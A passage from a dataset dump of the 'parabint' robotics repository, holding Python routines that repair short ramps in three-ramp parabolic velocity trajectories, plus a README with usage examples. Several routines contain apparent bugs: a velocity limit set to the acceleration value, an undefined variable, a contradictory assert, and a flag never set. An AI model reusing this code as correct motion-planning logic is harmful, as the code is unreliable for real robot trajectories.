curve\n elif (t0 < delta) and (t1 >= delta) and (t2 >= delta):\n return _PLP1(curve, vm, am, delta)\n elif (t0 >= delta) and (t1 >= delta) and (t2 < delta):\n return _PLP2(curve, vm, am, delta)\n elif (t0 >= delta) and (t1 < delta) and (t2 >= delta):\n return _PLP3(curve, vm, am, delta)\n elif (t0 < delta) and (t1 < delta) and (t2 >= delta):\n return _PLP4(curve, vm, am, delta)\n elif (t0 >= delta) and (t1 < delta) and (t2 < delta):\n return _PLP5(curve, vm, am, delta)\n elif (t0 < delta) and (t1 >= delta) and (t2 < delta):\n return _PLP6(curve, vm, am, delta)\n elif (t0 < delta) and (t1 < delta) and (t2 < delta):\n return _PLP7(curve, vm, am, delta)\n\n\ndef _PLP1(curve, vm, am, delta):\n \"\"\"(t0 < delta) and (t1 >= delta) and (t2 >= delta)\n\n We consider two possibilities.\n\n A: stretch the first ramp's duration to delta. Then use (x1, v1) of the first ramp together with\n the trajectory's (x1, v1) as boundaary conditions to interpolate a sub-trajectory\n B: merge the first two ramps into one\n \"\"\"\n firstRamp = curve[0]\n middleRamp = curve[1]\n lastRamp = curve[2]\n\n t0 = firstRamp.duration\n t1 = middleRamp.duration\n t2 = lastRamp.duration\n v0 = firstRamp.v0\n v1 = lastRamp.v1\n x0 = firstRamp.x0\n d = curve.d\n d0 = firstRamp.d + middleRamp.d\n vp = middleRamp.v0 # the middle has zero acceleration\n deltaInv = 1.0/delta\n\n # Try case A.\n a0New = (vp - v0)*deltaInv\n ramp0A = Ramp(v0, a0New, delta, x0)\n dRem = d - ramp0A.d\n subCurveA = _Compute1DTrajectoryWithDelta(0, dRem, vp, v1, vm, am, delta)\n assert(not subCurveA.IsEmpty()) # this computation should not fail\n if len(subCurveA) == 1:\n curveA = ParabolicCurve([ramp0A, subCurveA[0]])\n else:\n # len(subCurveA) == 2 in this case\n curveA = ParabolicCurve([ramp0A, subCurveA[0], subCurveA[1]])\n \n # Try case B.\n if FuzzyZero(vp + v0, epsilon):\n curveB = ParabolicCurve()\n else:\n t0New = 2*d0/(vp + v0)\n a0New = (vp - v0)/t0New\n ramp0B = Ramp(v0, a0New, t0New, x0)\n curveB = ParabolicCurve([ramp0B, lastRamp])\n\n assert(not (curveA.IsEmpty() and curveB.IsEmpty()))\n if curveA.IsEmpty():\n # Check before returning\n log.debug(\"PLP1 B\")\n return curveB\n elif curveB.IsEmpty():\n # Check before returning\n log.debug(\"PLP1 A\")\n return curveA\n elif curveA.duration < curveB.duration:\n # Check before returning\n log.debug(\"PLP1 A\")\n return curveA\n else:\n # Check before returning\n log.debug(\"PLP1 B\")\n return curveB\n \n\ndef _PLP2(curve, vm, am, delta):\n \"\"\"(t0 >= delta) and (t1 >= delta) and (t2 < delta)\n\n We consider two possibilities.\n\n A: stretch the last ramp's duration to delta. Then use (x0, v0) of the trajectory together with\n (x0, v0) of the last ramp as boundaary conditions to interpolate a sub-trajectory\n B: merge the last two ramps into one\n \"\"\"\n firstRamp = curve[0]\n middleRamp = curve[1]\n lastRamp = curve[2]\n\n t0 = firstRamp.duration\n t1 = middleRamp.duration\n t2 = lastRamp.duration\n v0 = firstRamp.v0\n v1 = lastRamp.v1\n x0 = firstRamp.x0\n d = curve.d\n d1 = middleRamp.d + lastRamp.d\n vp = middleRamp.v0 # the middle has zero acceleration\n deltaInv = 1.0/delta\n\n # Try case A.\n a2New = (v1 - vp)*deltaInv\n ramp2A = Ramp(vp, a2New, delta)\n dRem = d - ramp2A.d\n subCurveA = _Compute1DTrajectoryWithDelta(0, dRem, v0, vp, vm, am, delta)\n assert(not subCurveA.IsEmpty()) # this computation should not fail\n if len(subCurveA) == 1:\n curveA = ParabolicCurve([subCurveA[0], ramp2A])\n else:\n # len(subCurveA) == 2 in this case\n curveA = ParabolicCurve([subCurveA[0], subCurveA[1], ramp2A])\n \n # Try case B.\n if FuzzyZero(vp + v1, epsilon):\n curveB = ParabolicCurve()\n else:\n t1New = 2*d1/(vp + v1)\n a1New = (v1 - vp)/t1New\n ramp1B = Ramp(vp, a1New, t1New)\n curveB = ParabolicCurve([firstRamp, ramp1B])\n\n assert(not (curveA.IsEmpty() and curveB.IsEmpty()))\n if curveA.IsEmpty():\n # Check before returning\n log.debug(\"PLP2 B\")\n return curveB\n elif curveB.IsEmpty():\n # Check before returning\n log.debug(\"PLP2 A\")\n return curveA\n elif curveA.duration < curveB.duration:\n # Check before returning\n log.debug(\"PLP2 A\")\n return curveA\n else:\n # Check before returning\n log.debug(\"PLP2 B\")\n return curveB\n\n\ndef _PLP3(curve, vm, am, delta):\n \"\"\"(t0 >= delta) and (t1 < delta) and (t2 >= delta)\n \n There are three possibilities.\n\n A: stretch the duration of the middle ramp to delta. The acceleration of the middle might not be\n zero after the stretching\n B: merge any two ramps together to obtain a two-ramp velocity profile\n C: the resulting trajectory has 3 delta-ramps\n \"\"\"\n firstRamp = curve[0]\n middleRamp = curve[1]\n lastRamp = curve[2]\n\n t0 = firstRamp.duration\n t1 = middleRamp.duration\n t2 = lastRamp.duration\n v0 = firstRamp.v0\n v1 = lastRamp.v1\n x0 = firstRamp.x0\n d = curve.d\n d1 = middleRamp.d + lastRamp.d\n vp = middleRamp.v0 # the middle has zero acceleration\n deltaInv = 1.0/delta\n \n # Try case A.\n if firstRamp.a > 0:\n am_ = am\n vm_ = am\n else:\n am_ = -am\n vm_ = -vm\n amInv = 1.0/am_\n k = 0.5*delta + v0*amInv\n h = 0.5*delta + v1*amInv\n r2 = amInv*amInv*(v0*v0 + v1*v1 + 2*d*am_ + 0.5*am_*am_*delta*delta)\n\n t0l_0 = max(delta, (v1 - v0))*amInv\n t0u_0 = (vm_ - v0)*amInv\n t2l_0 = -h + Sqrt(r2 - (k + t0u_0)**2)\n t2u_0 = -h + Sqrt(r2 - (k + t0l_0)**2)\n if t2l_0 > t2u_0:\n [t2l_0, t2u_0] = Swap(t2u_0, t2l_0)\n\n t2l_1 = max(delta, (v0 - v1)*amInv)\n t2u_1 = (vm_ - v1)*amInv\n t0l_1 = -k + Sqrt(r2 - (h + t2u_1)**2)\n t0u_1 = -k + Sqrt(r2 - (h + t2l_1)**2)\n if t0l_1 > t0u_1:\n [t0l_1, t0u_1] = Swap(t0u_1, t0l_1)\n\n t0l = max(t0l_0, t0l_1)\n t0u = min(t0u_0, t0u_1)\n t2l = max(t2l_0, t2l_1)\n t2u = min(t2u_0, t2u_1)\n if (t0l <= t0u) and (t2l <= t2u):\n duration0 = t0l + delta + t2u\n duration1 = t0u + delta + t2l\n if duration0 <= duration1:\n t0New = t0l\n t2New = t2u\n else:\n t0New = t0u\n t2New = t2l\n vp0New = v0 + am_*t0New\n vp1New = v1 + am_*t2New\n \n ramp0A = Ramp(v0, am_, t0New, x0)\n ramp1A = Ramp(vp0New, (vp1New - vp0New)*deltaInv, delta)\n ramp2A = Ramp(vp1New, -am_, t2New)\n curveA = ParabolicCurve([ramp0A, ramp1A, ramp2A])\n else:\n curveA = ParabolicCurve()\n\n # Try case B.\n d0 = firstRamp.d + middleRamp.d\n d1 = middleRamp.d + lastRamp.d\n # B1: merge the first two ramps together\n subCurveB1 = _Compute1DTrajectoryWithDelta(0, d0, v0, vp, vm, am, delta)\n if len(subCurveB1) == 1:\n curveB1 = ParabolicCurve([subCurveB1[0], lastRamp])\n else:\n # len(subCurveB1) == 2 in this case\n curveB1 = ParabolicCurve([subCurveB1[0], subCurveB1[1], lastRamp])\n\n # B2: merge the last two ramps together\n subCurveB2 = _Compute1DTrajectoryWithDelta(0, d1, vp, v1, vm, am, delta)\n if len(subCurveB2) == 1:\n curveB2 = ParabolicCurve([firstRamp, subCurveB2[0]])\n else:\n # len(subCurveB2) == 2 in this case\n curveB2 = ParabolicCurve([firstRamp, subCurveB2[0], subCurveB2[1]])\n\n if curveB1.duration <= curveB2.duration:\n curveB = curveB1\n else:\n curveB = curveB2\n\n # Try case C.\n sumVp = d*deltaInv - 0.5*(v0 + v1)\n sumVpL = v0 + v1 - 2*am*delta\n sumVpU = v0 + v1 + 2*am*delta\n if sumVpL <= sumVp <= sumVpU:\n vp0L = v0 - am*delta\n vp0U = v0 + am*delta\n vp1L = max(sumVp - vp0U, v1 - am*delta)\n vp1U = min(sumVp - vp0L, v1 + am*delta)\n if vp1L > vp1U:\n curveC = ParabolicCurve()\n else:\n passed = False\n maxTries = 1000\n # Randomly choose vp1 until the value is feasible\n for it in xrange(maxTries):\n vp1New = _rng.uniform(vp1L, vp1U)\n vp0New = sumVp - vp1New\n if abs(vp1New - vp0New) <= am*delta:\n passed = True\n break\n if not passed:\n curveC = ParabolicCurve()\n else:\n ramp0C = Ramp(v0, (vp0New - v0)*deltaInv, delta, x0)\n ramp1C = Ramp(vp0New, (vp1New - vp0New)*deltaInv, delta)\n ramp2C = Ramp(vp1New, (v1 - vp1New)*deltaInv, delta)\n curveC = ParabolicCurve([ramp0C, ramp1C, ramp2C])\n \n else:\n curveC = ParabolicCurve()\n\n # Compare all the cases and choose the best trajectory\n if not curveC.IsEmpty():\n if not curveB.IsEmpty():\n if curveB.duration <= curveC.duration:\n # Check before returning\n log.debug(\"PLP3 B\")\n return curveB\n else:\n # Check before returning\n log.debug(\"PLP3 C\")\n return curveC\n else:\n # Check before returning\n log.debug(\"PLP3 C\")\n return curveC\n\n if curveA.IsEmpty():\n # Check before returning\n log.debug(\"PLP3 B\")\n return curveB\n else:\n if curveB.IsEmpty():\n # Check before returning\n log.debug(\"PLP3 A\")\n return curveA\n else:\n if curveB.duration <= curveA.duration:\n # Check before returning\n log.debug(\"PLP3 B\")\n return curveB\n else:\n # Check before returning\n log.debug(\"PLP3 A\")\n return curveA\n \n \ndef _PLP4(curve, vm, am, delta):\n \"\"\"(t0 < delta) and (t1 < delta) and (t2 >= delta)\n \n This case is similar to PLP1 and we first follow the procedure of PLP1. However, PLP1A and PLP1B\n can both be infeasible. So we introduct PLP4C where we re-interpolate the trajectory to have\n two-ramp by using PP1 procedure.\n \"\"\"\n firstRamp = curve[0]\n middleRamp = curve[1]\n lastRamp = curve[2]\n\n t0 = firstRamp.duration\n t1 = middleRamp.duration\n t2 = lastRamp.duration\n v0 = firstRamp.v0\n v1 = lastRamp.v1\n x0 = firstRamp.x0\n d = curve.d\n d0 = firstRamp.d + middleRamp.d\n vp = middleRamp.v0 # the middle has zero acceleration\n deltaInv = 1.0/delta\n\n # Try case A.\n a0New = (vp - v0)*deltaInv\n ramp0A = Ramp(v0, a0New, delta, x0)\n dRem = d - ramp0A.d\n subCurveA = _Compute1DTrajectoryWithDelta(0, dRem, vp, v1, vm, am, delta)\n assert(not subCurveA.IsEmpty()) # this computation should not fail\n if len(subCurveA) == 1:\n curveA = ParabolicCurve([ramp0A, subCurveA[0]])\n else:\n # len(subCurveA) == 2 in this case\n curveA = ParabolicCurve([ramp0A, subCurveA[0], subCurveA[1]])\n \n # Try case B.\n if FuzzyZero(vp + v0, epsilon):\n curveB = ParabolicCurve()\n else:\n t0New = 2*d0/(vp + v0)\n passed = False\n if (t0New >= delta):\n a0New = (vp - v0)/t0New\n if abs(a0New) <= am + epsilon:\n passed = True\n ramp0B = Ramp(v0, a0New, t0New, x0)\n curveB = ParabolicCurve([ramp0B, lastRamp])\n if not passed:\n curveB = ParabolicCurve()\n\n # Try case C.\n # Two-ramp velocity profile where the first ramp saturates the minimum-switch-time constraint\n # and the second ramp saturates the acceleration constraint.\n a2 = lastRamp.a\n k = a2*delta\n vpNew = 0.5*(k - np.sign(a2)*np.sqrt(k**2 + 4*(k*v0 + v1**2) - 8*a2*d))\n if abs(vpNew) > vm + epsilon:\n curveC = ParabolicCurve()\n else:\n t1New = (v1 - vpNew)/a2 # a2 is not zero\n if (t1New >= delta):\n # PP1A: no further correction is needed.\n a0New = (vpNew - v0)*deltaInv\n ramp0C_A = Ramp(v0, a0New, delta, x0)\n ramp1C_A = Ramp(vpNew, a2, t1New)\n curveC_A = ParabolicCurve([ramp0C_A, ramp1C_A])\n curveC = curveC_A\n else:\n # Try case PP1B.\n vpNew = d*deltaInv - 0.5*(v0 + v1)\n a0New = (vpNew - v0)*deltaInv\n a1New = (v1 - vpNew)*deltaInv\n\n if (abs(a0New) <= am + epsilon) and (abs(a1New) <= am + epsilon) and (abs(vpNew) <= vm + epsilon):\n ramp0C_B = Ramp(v0, a0New, delta, x0)\n ramp1C_B = Ramp(vpNew, a1New, delta)\n curveC_B = ParabolicCurve([ramp0C_B, ramp1C_B])\n else:\n # Case PP2B does not produce any feasible solution\n curveC_B = ParabolicCurve()\n\n # Try case PP1C.\n if FuzzyZero(v0 + v1, epsilon):\n # Case C does not produce any feasible solution\n curveC_C = ParabolicCurve()\n else:\n tNew = 2*d/(v0 + v1)\n aNew = (v1 - v0)/tNew\n if (abs(aNew) <= am + epsilon) and (tNew >= delta):\n ramp0C_C = Ramp(v0, aNew, tNew, x0)\n curveC_C = ParabolicCurve([ramp0C])\n else:\n # Case C does not produce any feasible solution\n curveC_C = ParabolicCurve()\n\n assert (curveC_B.IsEmpty() and curveC_C.IsEmpty())\n if curveC_B.IsEmpty():\n curveC = curveC_C\n elif curveC_C.IsEmpty():\n curveC = curveC_B\n else:\n curveC = curveC_B if curveC_B.duration < curveC_C.duration else curveC_C\n\n # Now compare PLP1A, PLP1B, and PLP1C\n if curveA.IsEmpty() and curveB.IsEmpty() and curveC.IsEmpty():\n assert False\n newCurve = curveA # empty curve\n elif (not curveA.IsEmpty()) and curveB.IsEmpty() and curveC.IsEmpty():\n log.debug(\"PLP4 A\")\n newCurve = curveA\n elif curveA.IsEmpty() and (not curveB.IsEmpty()) and curveC.IsEmpty():\n log.debug(\"PLP4 B\")\n newCurve = curveB\n elif curveA.IsEmpty() and curveB.IsEmpty() and (not curveC.IsEmpty()):\n log.debug(\"PLP4 C\")\n newCurve = curveC\n elif curveA.IsEmpty():\n if curveB.duration <= curveC.duration:\n log.debug(\"PLP4 B\")\n newCurve = curveB\n else:\n log.debug(\"PLP4 C\")\n newCurve = curveC\n elif curveB.IsEmpty():\n if curveA.duration <= curveC.duration:\n log.debug(\"PLP4 A\")\n newCurve = curveA\n else:\n log.debug(\"PLP4 C\")\n newCurve = curveC\n elif curveC.IsEmpty():\n if curveA.duration <= curveB.duration:\n log.debug(\"PLP4 A\")\n newCurve = curveA\n else:\n log.debug(\"PLP4 B\")\n newCurve = curveB\n else:\n curves = [curveA, curveB, curveC]\n minIndex = min((curve.duration, idx) for (idx, curve) in enumerate(curves))[1]\n newCurve = curves[minIndex]\n if minIndex == 0:\n log.debug(\"PLP4 A\")\n elif minIndex == 1:\n log.debug(\"PLP4 B\")\n else:\n log.debug(\"PLP4 C\")\n \n return newCurve\n \n\ndef _PLP5(curve, vm, am, delta):\n \"\"\"(t0 >= delta) and (t1 < delta) and (t2 < delta)\n \n This case is similar to PLP2 and we first follow the procedure of PLP2. However, PLP2A and PLP2B\n can both be infeasible. So we introduct PLP4C where we re-interpolate the trajectory to have\n two-ramp by using PP2 procedure.\n \"\"\"\n firstRamp = curve[0]\n middleRamp = curve[1]\n lastRamp = curve[2]\n\n t0 = firstRamp.duration\n t1 = middleRamp.duration\n t2 = lastRamp.duration\n v0 = firstRamp.v0\n v1 = lastRamp.v1\n x0 = firstRamp.x0\n d = curve.d\n d1 = middleRamp.d + lastRamp.d\n vp = middleRamp.v0 # the middle has zero acceleration\n deltaInv = 1.0/delta\n\n # Try case A.\n a2New = (v1 - vp)*deltaInv\n ramp2A = Ramp(vp, a2New, delta)\n dRem = d - ramp2A.d\n subCurveA = _Compute1DTrajectoryWithDelta(0, dRem, v0, vp, vm, am, delta)\n assert(not subCurveA.IsEmpty()) # this computation should not fail\n if len(subCurveA) == 1:\n curveA = ParabolicCurve([subCurveA[0], ramp2A])\n else:\n # len(subCurveA) == 2 in this case\n curveA = ParabolicCurve([subCurveA[0], subCurveA[1], ramp2A])\n \n # Try case B.\n if FuzzyZero(vp + v1, epsilon):\n curveB = ParabolicCurve()\n else:\n passed = False\n t1New = 2*d1/(vp + v1)\n if (t1New >= delta):\n a1New = (v1 - vp)/t1New\n if abs(a1New) <= am + epsilon:\n ramp1B = Ramp(vp, a1New, t1New)\n curveB = ParabolicCurve([firstRamp, ramp1B])\n if not passed:\n curveB = ParabolicCurve()\n\n # Try case C.\n # Two-ramp velocity profile where the first ramp saturates the minimum-switch-time constraint\n # and the second ramp saturates the acceleration constraint.\n a0 = lastRamp.a\n k = a0*delta\n vpNew = 0.5*(k - np.sign(a0)*np.sqrt(k**2 + 4*(k*v0 + v1**2) - 8*a0*d))\n if abs(vpNew) > vm + epsilon:\n curveC = ParabolicCurve()\n else:\n t0New = (vpNew - v0)/a0 # a0 is not zero\n if (t0New >= delta):\n # PP2A: no further correction is needed.\n a1New = (v1 - vpNew)*deltaInv\n ramp0C_A = Ramp(v0, a0, t0New, x0)\n ramp1C_A = Ramp(vpNew, a1New, delta)\n curveC_A = ParabolicCurve([ramp0C_A, ramp1C_A])\n curveC = curveC_A\n else:\n # Try case PP1B.\n vpNew = d*deltaInv - 0.5*(v0 + v1)\n a0New = (vpNew - v0)*deltaInv\n a1New = (v1 - vpNew)*deltaInv\n\n if (abs(a0New) <= am + epsilon) and (abs(a1New) <= am + epsilon) and (abs(vpNew) <= vm + epsilon):\n ramp0C_B = Ramp(v0, a0New, delta, x0)\n ramp1C_B = Ramp(vpNew, a1New, delta)\n curveC_B = ParabolicCurve([ramp0C_B, ramp1C_B])\n else:\n # Case PP2B does not produce any feasible solution\n curveC_B = ParabolicCurve()\n\n # Try case PP1C.\n if FuzzyZero(v0 + v1, epsilon):\n # Case C does not produce any feasible solution\n curveC_C = ParabolicCurve()\n else:\n tNew = 2*d/(v0 + v1)\n aNew = (v1 - v0)/tNew\n if (abs(aNew) <= am + epsilon) and (tNew >= delta):\n ramp0C_C = Ramp(v0, aNew, tNew, x0)\n curveC_C = ParabolicCurve([ramp0C])\n else:\n # Case C does not produce any feasible solution\n curveC_C = ParabolicCurve()\n\n assert (curveC_B.IsEmpty() and curveC_C.IsEmpty())\n if curveC_B.IsEmpty():\n curveC = curveC_C\n elif curveC_C.IsEmpty():\n curveC = curveC_B\n else:\n curveC = curveC_B if curveC_B.duration < curveC_C.duration else curveC_C\n \n # Now compare PLP1A, PLP1B, and PLP1C\n if curveA.IsEmpty() and curveB.IsEmpty() and curveC.IsEmpty():\n assert False\n newCurve = curveA # empty curve\n elif (not curveA.IsEmpty()) and curveB.IsEmpty() and curveC.IsEmpty():\n log.debug(\"PLP5 A\")\n newCurve = curveA\n elif curveA.IsEmpty() and (not curveB.IsEmpty()) and curveC.IsEmpty():\n log.debug(\"PLP5 B\")\n newCurve = curveB\n elif curveA.IsEmpty() and curveB.IsEmpty() and (not curveC.IsEmpty()):\n log.debug(\"PLP5 C\")\n newCurve = curveC\n elif curveA.IsEmpty():\n if curveB.duration <= curveC.duration:\n log.debug(\"PLP5 B\")\n newCurve = curveB\n else:\n log.debug(\"PLP5 C\")\n newCurve = curveC\n elif curveB.IsEmpty():\n if curveA.duration <= curveC.duration:\n log.debug(\"PLP5 A\")\n newCurve = curveA\n else:\n log.debug(\"PLP5 C\")\n newCurve = curveC\n elif curveC.IsEmpty():\n if curveA.duration <= curveB.duration:\n log.debug(\"PLP5 A\")\n newCurve = curveA\n else:\n log.debug(\"PLP5 B\")\n newCurve = curveB\n else:\n curves = [curveA, curveB, curveC]\n minIndex = min((curve.duration, idx) for (idx, curve) in enumerate(curves))[1]\n newCurve = curves[minIndex]\n if minIndex == 0:\n log.debug(\"PLP5 A\")\n elif minIndex == 1:\n log.debug(\"PLP5 B\")\n else:\n log.debug(\"PLP5 C\")\n \n return newCurve\n\n\ndef _PLP6(curve, vm, am, delta):\n \"\"\"(t0 < delta) and (t1 >= delta) and (t2 < delta)\n \n We explore four possibilities\n \n A: stretch both the first and the last ramps. \n B: stretch only the first ramp. (The remaining displacement is taken care by\n basically using Compute1DTrajectoryWithDelta.)\n C: stretch only the last ramp, similar to B.\n D: merge everything into one ramp (because sometimes the first and the last ramps\n are both too short).\n \"\"\"\n firstRamp = curve[0]\n middleRamp = curve[1]\n lastRamp = curve[2]\n\n t0 = firstRamp.duration\n t1 = middleRamp.duration\n t2 = lastRamp.duration\n v0 = firstRamp.v0\n v1 = lastRamp.v1\n x0 = firstRamp.x0\n d = curve.d\n d0 = firstRamp.d + middleRamp.d\n vp = middleRamp.v0 # the middle has zero acceleration\n deltaInv = 1.0/delta\n \n newFirstRamp = Ramp(v0, (vp - v0)*deltaInv, delta, x0)\n newLastRamp = Ramp(vp, (v1 - vp)*deltaInv, delta)\n \n # Try case A.\n dRemA = d - (newFirstRamp.d + newLastRamp.d)\n t1New = dRemA/vp\n if (t1New > 0):\n newMiddleRamp = Ramp(vp, 0.0, t1New)\n curveA = ParabolicCurve([newFirstRamp, newMiddleRamp, newLastRamp])\n if (t1New < delta):\n curveA = _FixSwitchTimeThreeRamps(curveA, vm, am, delta) # go to PLP3\n else:\n curveA = ParabolicCurve()\n\n # Try case B.\n # B1\n dRemB = d - newFirstRamp.d\n subCurveB1 = _Compute1DTrajectoryWithDelta(0, dRemB, vp, v1, vm, am, delta)\n if len(subCurveB1) == 1:\n curveB1 = ParabolicCurve([newFirstRamp, subCurveB1[0]])\n else:\n # len(subCurveB) == 2 in this case\n curveB1 = ParabolicCurve([newFirstRamp, subCurveB1[0], subCurveB1[1]])\n\n # B2\n curveB2 = _PP1(curve, vm, am, delta)\n \n if curveB2.IsEmpty() or abs(curveB2[0].v1) > vm:\n curveB = curveB1\n else:\n if curveB1.duration <= curveB2.duration:\n curveB = curveB1\n else:\n curveB = curveB2\n\n # Try case C.\n # C1\n dRemC = d - newLastRamp.d\n subCurveC1 = _Compute1DTrajectoryWithDelta(x0, x0 + dRemC, v0, vp, vm, am, delta)\n if len(subCurveC1) == 1:\n curveC1 = ParabolicCurve([subCurveC1[0], newLastRamp])\n else:\n # len(subCurveC1) == 2 in this case\n curveC1 = ParabolicCurve([subCurveC1[0], subCurveC1[1], newLastRamp])\n\n # C2\n curveC2 = _PP2(curve, vm, am, delta)\n \n if curveC2.IsEmpty() or abs(curveC2[0].v1) > vm:\n curveC = curveC1\n else:\n if curveC1.duration <= curveC2.duration:\n curveC = curveC1\n else:\n curveC = curveC2\n \n # Try case D.\n if FuzzyZero(v0 + v1, epsilon):\n curveD = ParabolicCurve()\n else:\n tNew = 2*d/(v0 + v1)\n if tNew <= 0:\n curveD = ParabolicCurve()\n else:\n aNew = (v1 - v0)/tNew\n if abs(aNew) > am + epsilon:\n curveD = ParabolicCurve()\n else:\n ramp0D = Ramp(v0, aNew, tNew, x0)\n curveD = ParabolicCurve([ramp0D])\n\n # Now compare every case\n if not curveA.IsEmpty():\n if (curveA.duration <= curveB.duration) and (curveA.duration <= curveC.duration) and (curveA[1].duration >= delta):\n if curveD.IsEmpty():\n # Check before returning\n log.debug(\"PLP6 A\")\n return curveA\n else:\n if curveA.duration <= curveD.duration:\n # Check before returning\n log.debug(\"PLP6 A\")\n return curveA\n \n if (curveB.duration <= curveC.duration):\n if curveD.IsEmpty():\n # Check before returning\n log.debug(\"PLP6 B\")\n return curveB\n else:\n if curveB.duration <= curveD.duration:\n # Check before returning\n log.debug(\"PLP6 B\")\n return curveB\n else:\n if curveD.IsEmpty():\n # Check before returning\n log.debug(\"PLP6 C\")\n return curveC\n else:\n if curveC.duration <= curveD.duration:\n # Check before returning\n log.debug(\"PLP6 C\")\n return curveC\n\n # Check before returning\n log.debug(\"PLP6 D\")\n return curveD\n\n\ndef _PLP7(curve, vm, am, delta):\n \"\"\"(t0 < delta) and (t1 < delta) and (t2 < delta) \n \n \"\"\"\n firstRamp = curve[0]\n middleRamp = curve[1]\n lastRamp = curve[2]\n\n t0 = firstRamp.duration\n t1 = middleRamp.duration\n t2 = lastRamp.duration\n v0 = firstRamp.v0\n v1 = lastRamp.v1\n x0 = firstRamp.x0\n d = curve.d\n d0 = firstRamp.d + middleRamp.d\n vp = middleRamp.v0 # the middle has zero acceleration\n deltaInv = 1.0/delta\n \n # A: (delta, delta, delta)\n curveA = Recompute1DTrajectoryThreeRamps(curve, delta, delta, delta, vm, am)\n\n # B: fix using PP3\n curveB = _PP3(curve, vm, am, delta)\n\n # C: exceptional case\n if FuzzyZero(v0, epsilon) or FuzzyZero(v1, epsilon):\n if abs(vp - v0) > abs(vp - v1):\n dNew = 0.5*(vp + v0)*delta\n t1New = (2*d - 2*dNew)/(vp + v1)\n if t1New > 0:\n a0New = (vp - v0)*deltaInv\n a1New = (v1 - vp)/t1New\n ramp0C = Ramp(v0, a0New, delta, x0)\n ramp1C = Ramp(vp, a1New, t1New)\n curveC = ParabolicCurve([ramp0C, ramp1C])\n else:\n curveC = ParabolicCurve()\n else:\n dNew = 0.5*(vp + v1)*delta\n t0New = (2*d - 2*dNew)/(vp + v0)\n if t0New > 0:\n a0New = (vp - v0)/t0New\n a1New = (v1 - vp)*deltaInv\n ramp0C = Ramp(v0, a0New, t0New, x0)\n ramp1C = Ramp(vp, a1New, delta)\n curveC = ParabolicCurve([ramp0C, ramp1C])\n else:\n curveC = ParabolicCurve()\n else:\n curveC = ParabolicCurve()\n \n # Now compare all cases\n if curveA.IsEmpty() and curveB.IsEmpty() and curveC.IsEmpty():\n assert False\n newCurve = curveA # empty curve\n elif (not curveA.IsEmpty()) and curveB.IsEmpty() and curveC.IsEmpty():\n log.debug(\"PLP7 A\")\n newCurve = curveA\n elif curveA.IsEmpty() and (not curveB.IsEmpty()) and curveC.IsEmpty():\n log.debug(\"PLP7 B\")\n newCurve = curveB\n elif curveA.IsEmpty() and curveB.IsEmpty() and (not curveC.IsEmpty()):\n log.debug(\"PLP7 C\")\n newCurve = curveC\n elif curveA.IsEmpty():\n if curveB.duration <= curveC.duration:\n log.debug(\"PLP7 B\")\n newCurve = curveB\n else:\n log.debug(\"PLP7 C\")\n newCurve = curveC\n elif curveB.IsEmpty():\n if curveA.duration <= curveC.duration:\n log.debug(\"PLP7 A\")\n newCurve = curveA\n else:\n log.debug(\"PLP7 C\")\n newCurve = curveC\n elif curveC.IsEmpty():\n if curveA.duration <= curveB.duration:\n log.debug(\"PLP7 A\")\n newCurve = curveA\n else:\n log.debug(\"PLP7 B\")\n newCurve = curveB\n else:\n curves = [curveA, curveB, curveC]\n minIndex = min((curve.duration, idx) for (idx, curve) in enumerate(curves))[1]\n newCurve = curves[minIndex]\n if minIndex == 0:\n log.debug(\"PLP7 A\")\n elif minIndex == 1:\n log.debug(\"PLP7 B\")\n else:\n log.debug(\"PLP7 C\")\n # Check before returning\n return newCurve\n" }, { "alpha_fraction": 0.6794634461402893, "alphanum_fraction": 0.7206290364265442, "avg_line_length": 45, "blob_id": "b948f647c07ff059b433b38c1c64d3e3406973a9", "content_id": "20966a85a3ef063b5ac8ff6fb065d9915d1bc065", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2162, "license_type": "no_license", "max_line_length": 288, "num_lines": 46, "path": "/examples/README.md", "repo_name": "shengjiangtou/parabint", "src_encoding": "UTF-8", "text": "# Examples\r\n## Parabint Trajectories\r\n\r\nThere are three types of trajectories:\r\n - `Ramp`: A 1D trajectory segment with constant acceleration. A Ramp is completely determined given four values: `v0` initial velocity, `a` acceleration, `t` duration, and `x0` initial displacement. The initial displacement is an optional argument which is set to `0` when not specified.\r\n - `ParabolicCurve`: A concatenation of `Ramp`s. A ParabolicCurve is then a 1D trajectory with a number of segments of constant accelerations.\r\n - `ParabolicCurvesND`: An n-dimensional trajectory consisting of n `ParabolicCurvesND`s of equal duration.\r\n```python\r\nfrom parabint.trajectory import Ramp, ParabolicCurve, ParabolicCurvesND\r\n\r\nramp1 = Ramp(0, 1, 0.5) # v0 = 0; a = 1; duration = 0.5; x0 = 0 (optional)\r\nramp2 = Ramp(ramp1.v1, -0.7, 0.8)\r\ncurve1 = ParabolicCurve(ramps=[ramp1, ramp2])\r\n\r\nramp3 = Ramp(0.2, -0.66, 1.0)\r\nramp4 = Ramp(ramp3.v1, 0, 0.3)\r\ncurve2 = ParabolicCurve(ramps=[ramp3, ramp4])\r\ncurvesnd = ParabolicCurvesND(curves=[curve1, curve2])\r\n\r\n# curvesnd.PlotVel() # visualize the velocity profile\r\n```\r\n<p align=\"center\">\r\n <img src=\"figures/example_trajectories.png\" width=\"500\"/>\r\n</p>\r\n\r\nThe above figure shows the two velocity profiles in `curvesnd`. Vertical lines represent switch points, i.e., time instants where at least one joint changes its acceleration. When calling `PlotVel`, switch points can be plotted by setting the (optional) argument `includingSW` to `True`.\r\n\r\n## Trajectory Interpolation\r\n\r\nA parabolic trajectory can be generated from a set of boundary conditions `(x0, x1, v0, v1)` subject to max velocity `vm`, max acceleration `am`, and/or minimum-switch-time `delta`.\r\n```python\r\nfrom parabint import interpolator\r\n\r\nx0 = 0; x1 = 0.5; v0 = 0.4; v1 = 0.2\r\nvm = 1.0; am = 0.5\r\ndelta = 0.5\r\n\r\ncurve1 = interpolator.Compute1DTrajectory(x0, x1, v0, v1, vm, am) # without minimum-switch-time\r\ncurve2 = interpolator.Compute1DTrajectory(x0, x1, v0, v1, vm, am, delta) # with minimum-switch-time\r\n\r\n# curve1.PlotVel(fignum=1)\r\n# curve2.PlotVel(fignum=1)\r\n```\r\n<p align=\"center\">\r\n <img src=\"figures/example_reinterpolation.png\" width=\"500\"/>\r\n</p>\r\n" }, { "alpha_fraction": 0.762499988079071, "alphanum_fraction": 0.762499988079071, "avg_line_length": 25.66666603088379, "blob_id": "df7e0dbd296494efbd2d0054bd75a859a040d174", "content_id": "617c18ed47c65be94034b0d9734c87bf8ceaf742", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", 